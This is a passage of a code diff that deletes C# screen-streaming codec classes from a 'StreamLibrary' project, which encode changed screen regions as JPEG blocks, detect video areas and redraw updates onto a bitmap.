NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,473 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeOptimizedCodec : IUnsafeCodec
|
||||
{
|
||||
private class PopulairPoint
|
||||
{
|
||||
public Rectangle Rect;
|
||||
public int Score;
|
||||
public Stopwatch LastUpdate;
|
||||
|
||||
public PopulairPoint(Rectangle rect)
|
||||
{
|
||||
this.Rect = rect;
|
||||
this.Score = 0;
|
||||
this.LastUpdate = Stopwatch.StartNew();
|
||||
}
|
||||
}
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private List<PopulairPoint> populairPoints;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
|
||||
|
||||
//options
|
||||
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
|
||||
public uint AliveTimeForBeingVideo = 5000;
|
||||
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
|
||||
public uint ScreenRefreshTimer = 2000;
|
||||
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
|
||||
public Size VideoScreenSize = new Size(100, 100);
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeOptimizedCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeOptimizedCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.populairPoints = new List<PopulairPoint>();
|
||||
this.CheckBlock = new Size(15, 1);
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
|
||||
{
|
||||
populairPoints.RemoveAt(i);
|
||||
}
|
||||
}
|
||||
ScreenRefreshSW = Stopwatch.StartNew();
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
PopulairPoint[] points = GetPossibleVideos();
|
||||
if (points.Length > 0)
|
||||
{
|
||||
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
|
||||
}
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
if (points.Length == 0) //only scan if there is no video
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(points[0].Rect);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
buffer = new byte[blockStride * rect.Height];
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed(byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
PopulairPoint point = populairPoints[i];
|
||||
if (point.Rect.Width == rect.Width &&
|
||||
point.Rect.Height == rect.Height &&
|
||||
point.Rect.X == rect.X &&
|
||||
point.Rect.Y == rect.Y)
|
||||
{
|
||||
PopuPoint = populairPoints[i];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private PopulairPoint[] GetPossibleVideos()
|
||||
{
|
||||
List<PopulairPoint> points = new List<PopulairPoint>();
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score > 30)
|
||||
{
|
||||
points.Add(populairPoints[i]);
|
||||
}
|
||||
}
|
||||
return points.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,285 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeQuickStream : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize { get; internal set; }
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private ulong[] EncodeBuffer;
|
||||
|
||||
private int BlockWidth = 0;
|
||||
private int BlockHeight = 0;
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
public List<Rectangle> VerifyPoints = null;
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
public UnsafeQuickStream(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 50);//width must be bigger then 3
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = InputSize.Width * PixelSize;
|
||||
RawLength = Stride * InputSize.Height;
|
||||
|
||||
|
||||
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = OutputRect.Width;
|
||||
this.EncodedHeight = OutputRect.Height;
|
||||
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
return;
|
||||
}
|
||||
|
||||
List<Rectangle> Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
|
||||
|
||||
VerifyPoints = Points;
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
for (int i = 0; i < Points.Count; i++)
|
||||
{
|
||||
Rectangle rect = Points[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
|
||||
private unsafe List<Rectangle> ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
|
||||
{
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
|
||||
this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
|
||||
int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
|
||||
this.EncodeBuffer = new ulong[TotalBlocks];
|
||||
}
|
||||
|
||||
List<Rectangle> points = new List<Rectangle>();
|
||||
int StartScan = Scan0.ToInt32();
|
||||
|
||||
for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
|
||||
{
|
||||
if (y + CheckBlock.Height > OutputRect.Height)
|
||||
break;
|
||||
|
||||
for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
|
||||
{
|
||||
if (x + CheckBlock.Width > OutputRect.Width)
|
||||
break;
|
||||
|
||||
int EncodeOffset = GetOffset(x, y);
|
||||
long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
|
||||
ulong* ScanPtr = (ulong*)(StartScan + offset);
|
||||
|
||||
if (EncodeBuffer[EncodeOffset] != *ScanPtr)
|
||||
{
|
||||
EncodeBuffer[EncodeOffset] = *ScanPtr;
|
||||
|
||||
Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
|
||||
int index = points.Count - 1;
|
||||
if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = points[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
points[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
points.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return points;
|
||||
}
|
||||
|
||||
private Point GetOffsetPoint(int x, int y)
|
||||
{
|
||||
return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
|
||||
(int)Math.Floor((double)(x / CheckBlock.Width)));
|
||||
}
|
||||
|
||||
private int GetOffset(int x, int y)
|
||||
{
|
||||
